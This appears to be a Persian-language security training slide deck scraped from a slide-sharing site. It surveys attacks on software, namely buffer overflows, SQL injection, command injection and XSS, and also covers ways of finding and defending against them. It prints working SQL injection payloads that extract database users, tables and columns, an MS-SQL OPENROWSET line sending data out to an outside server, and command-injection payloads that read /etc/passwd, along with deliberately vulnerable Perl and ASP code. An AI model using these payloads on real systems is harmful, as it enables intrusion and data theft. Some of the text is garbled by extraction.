                                               Union ‫استخراج اطلعات از بانک اطلعاتی با استفاده از‬    
   ‫مشخص کردن تعداد پارامترها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–
         All queries in an SQL statement containing a UNION operator must have an equal number of
          expressions in their target lists
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–
         NO Error
   ‫استخراج نام کاربر بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—
   ‫استخراج نام بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—
   ‫استخراج نسخه بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—
   ‫استخراج نام‬Table ‫های بانک اطلعاتی‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—
   ‫استخراج نام‬Column ‫های‬Table ‫ها‬
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from
          DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—
   ‫استخراج اولین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—
   ‫استخراج دومین‬Field
         http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1--




                                                                                                     49
‫حمله به نرم افزارهای تحت وب‬
http//:www.evilsql) Blind SQL Injection ‫استخراج اطلعات مورد نظر در حملت‬                          
                                                    (.com/page1.html
        (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطلعات‬                        
                                                               MS-SQL Openrowset 
   insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL
    Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from
    foo’) values (@@version)
                                                                         DNS Resolve 
                                                                          HTTP GET 
    http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip   



                                   SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬                
                                      ‫ استخراج اطلعات‬Automated ‫بررسی ابزارهای‬                    




                                                                                                 50
‫حمله به نرم افزارهای تحت وب‬

                            OS Command Injection ‫ بررسی حملت‬
use CGI qw(:standard escapeHTML);
print header, start_html(““);                                        Perl Applications 
print “<pre>“;
my $command = “du -h --exclude php* /var/www/html“;
$command= $command.param(“dir“);
$command=`$command`;
print “$commandn“;
print end_html;

http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat
%/etc/passwd

<%                                                                   ASP Applications 
Set oScript = Server.CreateObject(“WSCRIPT.SHELL“)
Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“)
szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“)
szTempFile = “C:“ & oFileSys.GetTempName()
Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile,
0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
%>

http://web-app/view.asp [Form Data  sample.log && dir c:
                                                                                           51
‫حمله به نرم افزارهای تحت وب‬
                               ‫‪ ‬بررسی حملت 2( ‪)Command Injection‬‬
                                                 ‫‪ ‬روش های شناسایی‬
‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬   ‫‪‬‬
                                               ‫‪ ‬کاراکتر های ; | &&‬
                                 ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬      ‫‪‬‬
                                      ‫‪| ping –i 30 127.0.0.1 | ‬‬
                                     ‫‪| ping –n 30 127.0.0.1 | ‬‬
                                   ‫‪& ping –i 30 127.0.0.1 & ‬‬
                                  ‫‪& ping –n 30 127.0.0.1 & ‬‬
                                             ‫‪; ping 127.0.0.1 ; ‬‬
                           ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬
                                             ‫‪` ping 127.0.0.1 ` ‬‬
            ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬        ‫‪‬‬

                                      ‫‪ ‬بررسی حملت ‪Code Injection‬‬
                                 ‫‪Dynamic Code Execution in PHP ‬‬
                                 ‫‪Dynamic Code Execution in ASP‬‬                 ‫‪‬‬

                                                 ‫‪File Inclusion‬‬                ‫‪‬‬
                               ‫‪(PHP Remote File Inclusion (RFI‬‬             ‫‪‬‬
                                      ‫‪(Local File Inclusin (LFI‬‬            ‫‪‬‬




                                                                                   ‫25‬
‫حمله به نرم افزارهای تحت وب‬
                         ‫‪Path Traversal‬‬
                           ‫(‬                          ‫433 ‪(WAHHB Page‬‬   ‫‪ ‬بررسی حملت‬
          ‫(‬   ‫)‪Cross Site Scripting (XSS‬‬             ‫573 ‪(WAHHB Page‬‬    ‫‪ ‬بررسی حملت‬
                               ‫بررسی انواع حملت ‪ XSS‬و تفاوت های آنها‬           ‫‪‬‬

                                                    ‫‪Reflected XSS‬‬          ‫‪‬‬

                                                      ‫‪Stored XSS‬‬           ‫‪‬‬

                                   ‫(‬   ‫شناسایی ضعف های 104 ‪XSS (WAHHB Page‬‬     ‫‪‬‬

                                          ‫بررسی کاربردهای حملت ‪XSS‬‬             ‫‪‬‬

                                                  ‫سرقت ‪ Session‬کاربر‬       ‫‪‬‬

              ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬                 ‫‪‬‬

‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬            ‫‪‬‬
                      ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬       ‫‪‬‬

         ‫‪ ‬بررسی حملت ‪Parameter Tampering/Manipulation‬‬
                         ‫‪ ‬بررسی حملت ‪Forceful Browsing‬‬
             ‫‪ ‬معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬



                                                                                       ‫35‬
Softwares : Vuln discovery , attack and deffence technologies
Softwares : Vuln discovery , attack and deffence technologies
Softwares : Vuln discovery , attack and deffence technologies
Softwares : Vuln discovery , attack and deffence technologies

Contenu connexe

Similaire à Softwares : Vuln discovery , attack and deffence technologies

ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬
ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬
ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬Hamoon Mohammadian Pour
 
راهنماي راه اندازی سرویس Golden Gate Microservices
راهنماي  راه اندازی سرویس Golden Gate  Microservicesراهنماي  راه اندازی سرویس Golden Gate  Microservices
راهنماي راه اندازی سرویس Golden Gate MicroservicesMojtaba Khandan
 
Web Application Security Test
Web Application Security TestWeb Application Security Test
Web Application Security TestSaeid Sadeghi
 
قلاب سازی در تحلیل بدافزارهاHooking in Malware Analysis
 قلاب سازی در تحلیل بدافزارهاHooking  in Malware Analysis قلاب سازی در تحلیل بدافزارهاHooking  in Malware Analysis
قلاب سازی در تحلیل بدافزارهاHooking in Malware AnalysisM Mehdi Ahmadian
 
AOSD توسعه نرم افزار جنبه گرا
AOSD توسعه نرم افزار جنبه گراAOSD توسعه نرم افزار جنبه گرا
AOSD توسعه نرم افزار جنبه گراOmid Rajabi
 
Cpusimulation
CpusimulationCpusimulation
Cpusimulationdanesh_fd
 
Introduction to oracle
Introduction to oracleIntroduction to oracle
Introduction to oracleEhsan Hamzei
 
Chapter 09 - network operating systems
Chapter 09 - network operating systemsChapter 09 - network operating systems
Chapter 09 - network operating systemsbehrad eslamifar
 
Logo! v7 ethernet translate-Persian
Logo! v7 ethernet translate-PersianLogo! v7 ethernet translate-Persian
Logo! v7 ethernet translate-Persianhamid servat
 
مهاجرت به متن باز در شرکت توزیع برق مشهد
مهاجرت به متن باز در شرکت توزیع برق مشهدمهاجرت به متن باز در شرکت توزیع برق مشهد
مهاجرت به متن باز در شرکت توزیع برق مشهدعباس بني اسدي مقدم
 
Javan Cloud Security 950526 (oCCc63)
Javan Cloud Security 950526 (oCCc63)Javan Cloud Security 950526 (oCCc63)
Javan Cloud Security 950526 (oCCc63)Morteza Javan
 
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت   تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت abbas pirnazaraine
 
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکس
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکسراهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکس
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکسSeied Mahdi Sadat Hosseini
 
Operating Systems(Ayat)
Operating Systems(Ayat)Operating Systems(Ayat)
Operating Systems(Ayat)guestaffefa9
 
Blockchain proposal-corporation -partly
Blockchain proposal-corporation -partlyBlockchain proposal-corporation -partly
Blockchain proposal-corporation -partlyarmanriazi
 
Security tools - ابزارهای امنیتی
Security tools - ابزارهای امنیتیSecurity tools - ابزارهای امنیتی
Security tools - ابزارهای امنیتیMehdi Esmaeilpour
 

Similaire à Softwares : Vuln discovery , attack and deffence technologies (20)

توسعه امن نرم افزار
توسعه امن نرم افزارتوسعه امن نرم افزار
توسعه امن نرم افزار
 
ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬
ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬
ترکیب داده های ساختار یافته و نیمه ساختار یافته در MariaDB 10.2‬‬
 
راهنماي راه اندازی سرویس Golden Gate Microservices
راهنماي  راه اندازی سرویس Golden Gate  Microservicesراهنماي  راه اندازی سرویس Golden Gate  Microservices
راهنماي راه اندازی سرویس Golden Gate Microservices
 
Web Application Security Test
Web Application Security TestWeb Application Security Test
Web Application Security Test
 
قلاب سازی در تحلیل بدافزارهاHooking in Malware Analysis
 قلاب سازی در تحلیل بدافزارهاHooking  in Malware Analysis قلاب سازی در تحلیل بدافزارهاHooking  in Malware Analysis
قلاب سازی در تحلیل بدافزارهاHooking in Malware Analysis
 
AOSD توسعه نرم افزار جنبه گرا
AOSD توسعه نرم افزار جنبه گراAOSD توسعه نرم افزار جنبه گرا
AOSD توسعه نرم افزار جنبه گرا
 
Sql tuning
Sql tuningSql tuning
Sql tuning
 
Cpusimulation
CpusimulationCpusimulation
Cpusimulation
 
Introduction to oracle
Introduction to oracleIntroduction to oracle
Introduction to oracle
 
Chapter 09 - network operating systems
Chapter 09 - network operating systemsChapter 09 - network operating systems
Chapter 09 - network operating systems
 
Logo! v7 ethernet translate-Persian
Logo! v7 ethernet translate-PersianLogo! v7 ethernet translate-Persian
Logo! v7 ethernet translate-Persian
 
مهاجرت به متن باز در شرکت توزیع برق مشهد
مهاجرت به متن باز در شرکت توزیع برق مشهدمهاجرت به متن باز در شرکت توزیع برق مشهد
مهاجرت به متن باز در شرکت توزیع برق مشهد
 
Java
JavaJava
Java
 
Javan Cloud Security 950526 (oCCc63)
Javan Cloud Security 950526 (oCCc63)Javan Cloud Security 950526 (oCCc63)
Javan Cloud Security 950526 (oCCc63)
 
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت   تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت
تنظیم فایروال میکروتیک برای دسترسی سیستمها به اینترنت
 
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکس
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکسراهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکس
راهنمای کامل راه اندازی الاستیک سرچ و استفاده آن در شرکت گارتکس
 
Operating Systems(Ayat)
Operating Systems(Ayat)Operating Systems(Ayat)
Operating Systems(Ayat)
 
Blockchain proposal-corporation -partly
Blockchain proposal-corporation -partlyBlockchain proposal-corporation -partly
Blockchain proposal-corporation -partly
 
Security tools - ابزارهای امنیتی
Security tools - ابزارهای امنیتیSecurity tools - ابزارهای امنیتی
Security tools - ابزارهای امنیتی
 
Burp suite
Burp suiteBurp suite
Burp suite
 

Softwares : Vuln discovery , attack and deffence technologies

  • 1. ‫مشکلت امنیتی نرم افزارها‬ ‫مروری بر روش های کشف ، حمله و مقابله‬ ‫سید حمید کشفی‬ ‫‪Hamid@OISSG.org‬‬ ‫5 تیر ماه 7831‬
  • 2. ‫مواردی که به آنها خواهیم پرداخت‬ ‫بررسی روش های حمله به نرم افزارها‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای کاربردی‬ ‫مروری بر حملت سرریز بافر‬ ‫‪‬‬ ‫‪ ‬نرم افزارهای تحت وب‬ ‫مروری بر حملت رایج )‪(… ,SQLi, XSS, Harvesting‬‬ ‫‪‬‬ ‫بررسی روش های کشف ضعف های امنیتی‬ ‫‪‬‬ ‫‪ ‬بازبینی کد )‪(Source-code Audit‬‬ ‫‪Fuzzing & Fault-Injection ‬‬ ‫‪Binary Analyzing ‬‬ ‫بررسی روش های مقابله با حملت‬ ‫‪‬‬ ‫‪ ‬سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬ ‫‪ ‬سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬ ‫2‬
  • 3. ‫حمله به نرم افزار – نرم افزارهای کاربردی‬ ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬ ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬ ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬ ‫‪ ‬ایجاد اختلل در روال کار نرم افزار یا سیستم )‪(DoS‬‬ ‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬ ‫افزار)‪(Controling Software‬‬ ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬ ‫عامل)‪(Controling System‬‬ ‫‪ Payload ‬چیست ؟‬ ‫3‬
  • 4. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬بررسی روال اجرای یک نرم افزار‬ ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬ ‫دستورالعمل ها و اطلعات لزم‬ ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬ ‫‪ :text. ‬حاوی دستورالعمل های اجرایی برنامه‬ ‫‪ :bss. ‬حاوی اطلعات و متغیر های تعریف نشده )‪(uninitialized data‬‬ ‫‪ :data. ‬حاوی اطلعات و متغیر های تعریف شده )‪(static initialized data‬‬ ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬ ‫4‬
  • 5. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،‬ ‫‪‬‬ ‫بیشتر از میزان مشخص شده برای بافر باشد.‬ ‫#‪<include <stdio.h‬‬ ‫‪(Int main (int arge , char **argv‬‬ ‫}‬ ‫‪chartarget]5[=”“AAAA‬‬ ‫‪;(“strcpy(target, “AAAAABBBBCCCC‬‬ ‫‪;(“Printf(“%n“,target‬‬ ‫0 ‪;Return‬‬ ‫{‬ ‫5‬
  • 6. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬ #include <iostream.h> #include <stdio.h> 12345... #include <conio.h> #include <stdio.h> int Hijack() { cout << "This function should be hijacked!"; getchar(); ....ABCD return 0; } EIP int Function1() { char var1[15]; cout << "_________1234567890abcd" << endl; Main() cout << "Enter Var1:"; cin >> var1; cout << var1 << endl; return 0; } Hijack() int main() { Function1(); getchar(); 6 return 0; }
  • 7. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬ ‫‪‬‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) ‪EIP ( BCDE‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫7‬
  • 8. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬ ‫‪‬‬ ‫معمولی برنامه , فراخوانی نمیشوند‬ ‫...54321‬ ‫6543210.....‬ ‫) ‪EBP ( AAAA‬‬ ‫) 05010400( ‪EIP‬‬ ‫)(‪Main‬‬ ‫)(‪Hijack‬‬ ‫8‬
  • 9. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬ ‫‪‬‬ ‫نمود‬ ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬ ‫‪‬‬ ‫دستورات می بایست به زبان ماشین باشد.‬ ‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ ‪ Payload‬گفته‬ ‫‪‬‬ ‫میشود‬ ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬ ‫‪‬‬ ‫باعث بروز مشکل خواهد شد‬ ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬ ‫‪‬‬ ‫آنها را پس از درج در حافظه بدانیم‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬ ‫‪‬‬ ‫9‬
  • 10. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫...54321‬ ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬ ‫‪‬‬ ‫[‪]Injected Payload‬‬ ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین‬ ‫معتبر باشد اجرا خواهد شد.‬ ‫6543210.....‬ ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬ ‫‪‬‬ ‫قالب پارامترهای ورودی نرم افزار میباشد‬ ‫) ‪EBP ( AAAA‬‬ ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬ ‫‪‬‬ ‫)}‪EIP (0x{Payload Offset‬‬ ‫‪ Heap‬رخ دهد‬ ‫بسته به محل وقوع سرریز )‪(stack / Heap overflow‬‬ ‫‪‬‬ ‫)(‪Main‬‬ ‫نحوه تغییر روال اجرای برنامه و پرش به محل ‪Payload‬‬ ‫متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت‬ ‫وجود دارد.‬ ‫)(‪Hijack‬‬ ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬ ‫‪‬‬ ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬ ‫00‪0x‬‬ ‫‪ Payload‬گردد‬ ‫01‬
  • 11. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬ ‫‪‬‬ ‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬ ‫‪ Pack‬تغییر میکند‬ ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬ ‫‪‬‬ ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬ ‫بر خلف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬ ‫‪‬‬ ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬ ‫‪‬‬ ‫استفاده از ‪NOP Sled‬‬ ‫‪‬‬ ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬ ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬ ‫‪‬‬ ‫استفاده از ‪ Payload‬های چند مرحله ایی‬ ‫‪‬‬ ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬ ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬ ‫‪‬‬ ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬ ‫‪‬‬ ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬ ‫11‬
  • 12. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬ ‫دستوراتی چون ‪ ... JMP MOV CALL‬به ‪ EIP‬داده میشوند (‬ ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬ ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬ ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬ ‫)‪(JMP EBP‬‬ ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬ ‫وجود داشته باشد‬ ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬ ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬ ‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬ ‫)‪ (offset‬آن دستورالعمل‬ ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬ ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬ ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬ ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬ ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬ ‫21‬
  • 13. ‫نرم افزارهای کاربردی – حملت سرریز بافر‬ ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬ ‫[… ‪GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload‬‬ ‫5‬ ‫3‬ ‫6‬ ‫‪AA...A‬‬ ‫‪NOP Sled jmp EBPEIP NOP‬‬ ‫‪Payload‬‬ ‫4‬ ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬ ‫1.‬ ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬ ‫2.‬ ‫2‬ ‫1‬ ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬ ‫3.‬ ‫بازنویسی میشود‬ ‫‪Jmp ebp‬‬ ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬ ‫4.‬ ‫مراجعه میکند‬ ‫‪Kernel32.dll‬‬ ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬ ‫5.‬ ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬ ‫6.‬ ‫31‬
  • 14. ‫حملت سرریز بافر – بررسی ‪ Payload‬ها‬ ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬ ‫‪‬‬ ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطلحآ ‪ Post Exploitation‬خوانده میشوند.‬ ‫‪‬‬ ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬ ‫‪‬‬ ‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬ ‫‪‬‬ ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23‪IA‬‬ ‫‪‬‬ ‫‪ SPARC , PowerPC, MIPS‬و... (‬ ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬ ‫‪‬‬ ‫برخی از ‪ Payload‬های رایج :‬ ‫‪‬‬ ‫اجرای دستورات بر روی سیستم عامل ) ‪( … , add user , iptables –F‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬ ‫‪‬‬ ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬ ‫‪‬‬ ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬ ‫‪‬‬ ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬ ‫‪‬‬ ‫/‪http//:milw0rm.com/shellcode‬‬ ‫‪‬‬ ‫‪http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬ ‫‪‬‬ ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬ ‫‪‬‬ ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬ ‫41‬
  • 15. ‫حملت سرریز بافر – ‪Exploit Frameworks‬‬ ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬ ‫‪‬‬ ‫مراحل مختلف میباشد‬ ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬ ‫‪‬‬ ‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬ ‫‪‬‬ ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬ ‫‪‬‬ ‫‪ Payload‬میبایست تکرارشود‬ ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬ ‫‪‬‬ ‫متفاوتی استفاده گردد‬ ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬ ‫‪‬‬ ‫استفاده قرار گیرد‬ ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬ ‫‪‬‬ ‫آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک‬ ‫بزرگی محسوب میگردد.‬ ‫51‬
  • 16. ‫حملت سرریز بافر – ‪Exploit Frameworks‬‬ ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬ ‫‪‬‬ ‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬ ‫‪‬‬ ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬ ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬ ‫‪‬‬ ‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده )‪Bad‬‬ ‫‪‬‬ ‫‪ (chars‬را حل کنیم‬ ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬ ‫‪‬‬ ‫تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬ ‫‪‬‬ ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬ ‫‪‬‬ ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬ ‫‪‬‬ ‫‪ ‬ابزارهای کمکی برای طی مراحل اولیه‬ ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬ ‫‪‬‬ ‫محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬ ‫‪‬‬ ‫بانک اطلعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب )‬ ‫‪‬‬ ‫‪(/http://metasploit.org/opcodedb‬‬ ‫61‬
  • 18. ‫حملت سرریز بافر – علت بروز مشکل‬ ‫حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬ ‫‪‬‬ ‫برنامه نویسی هستند.‬ ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬ ‫‪‬‬ ‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬ ‫‪‬‬ ‫اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬ ‫شود.‬ ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬ ‫‪‬‬ ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬ ‫‪(),gets() ,scanf‬‬ ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬ ‫‪‬‬ ‫دوچار مشکل امنیتی میکنند.‬ ‫81‬
